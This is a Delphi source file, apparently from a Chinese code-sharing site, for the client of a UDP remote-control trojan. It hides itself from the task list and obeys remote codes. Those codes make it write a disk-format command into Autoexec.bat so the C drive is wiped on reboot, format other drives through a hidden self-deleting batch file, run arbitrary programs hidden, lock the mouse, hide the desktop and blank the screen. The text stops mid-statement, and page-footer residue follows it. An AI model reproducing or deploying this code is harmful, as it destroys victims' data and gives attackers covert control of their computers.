?? client.pas
字號:
unit Client;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, StdCtrls,shellapi,mmsystem;
//shellapi需要shellapi.pas,mciSendstring需要mmsystem.pas
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const BufSize=2048;{ 發(fā)送每一筆數(shù)據(jù)的緩沖區(qū)大小 }
var
BmpStream:TMemoryStream;
{$R *.DFM}
//獲取計算機名
function ComputerName : String;
var
CNameBuffer : PChar;
fl_loaded : Boolean;
CLen : ^DWord;
begin
GetMem(CNameBuffer,255);
New(CLen);
CLen^:= 255;
fl_loaded := GetComputerName(CNameBuffer,CLen^);
if fl_loaded then
ComputerName := StrPas(CNameBuffer)
else
ComputerName := '不知道!';
FreeMem(CNameBuffer,255);
Dispose(CLen);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
rtButton2: TRect;
begin
rtButton2 := Button2.BoundsRect;
MapWindowPoints(handle, 0, rtButton2, 2);
// 座標換算
ClipCursor(@rtButton2);
// 限制鼠標移動區(qū)域
end;
procedure TForm1.Button2Click(Sender: TObject);
var
rtScreen: TRect;
begin
rtScreen := Rect(0, 0, Screen.Width, Screen.Height);
ClipCursor(@rtScreen);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
application.Title:='';
//應(yīng)用程序沒有名稱,按Ctrl+Alt+Del時看不到程序
//application.showmainform:=false;
//程序運行時不顯示
BmpStream:=TMemoryStream.Create;
end;
//退出程序
procedure Tform1.winexit(var msg: Tmessage);
begin
msg.Result:=1;
application.ProcessMessages;
application.Terminate;
end;
procedure TForm1.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250] of char;
Trun:string;
hDesktop : Thandle;
forc,ford:textfile;
//向Autoexec.bat寫格式化命令
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);
// 讀取控制碼
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then
//格式化磁盤
if CtrlCode[6]='c' then
//格式化系統(tǒng)盤,將命令寫入autoexec.bat,重起后生效
begin
assignfile(forc,'c:\Autoexec.bat');
rewrite(forc);
writeln(forc,'@echo off');
writeln(forc,'format c:/q');
// /q快速格式化
writeln(forc,'echo y|format c:/q >nul');
//在Dos shell控制臺下顯示格式化信息
closefile(forc);
end
else
//格式化其它磁盤,將命令寫入批處理文件,立即執(zhí)行
begin
assignfile(ford,'c:\a.bat');
rewrite(ford);
writeln(ford,'@echo off');
writeln(ford,'format '+CtrlCode[6]+':/q');
writeln(ford,'@del %0');
closefile(ford);
winexec('c:\a.bat',sw_hide);
//開始格式化
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccompu' then
//計算機睡眠
SetSystemPowerState( true, true );
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='hdesk' then
//隱藏桌面
begin
hDesktop := FindWindow('Progman', nil);
//獲取桌面程序句柄
ShowWindow(hDesktop, SW_HIDE);
//SW_HIDE,隱藏桌面
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='sdesk' then
//顯示桌面
begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_show);
//SW_show,隱藏桌面
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='hrun' then
//隱藏運行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//刪除控制碼,得到要運行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_hide);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='nrun' then
//顯式運行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//刪除控制碼,得到要運行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_show);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='irun' then
//最小化運行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//刪除控制碼,得到要運行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MINIMIZE);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='mrun' then
//最大化運行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//刪除控制碼,得到要運行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MAXIMIZE);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ocdrom' then
//彈出cdrom
mciSendString('Set cdaudio door open', nil, 0, handle);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccdrom' then
//合上cdrom
mciSendString('Set cdaudio door closed', nil, 0, handle);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='cmouse' then
//鎖定鼠標
button1.Click;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='omouse' then
//解鎖鼠標
button2.Click;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='cscre' then
//黑屏
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0) ;
if CtrlCode[0]='
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -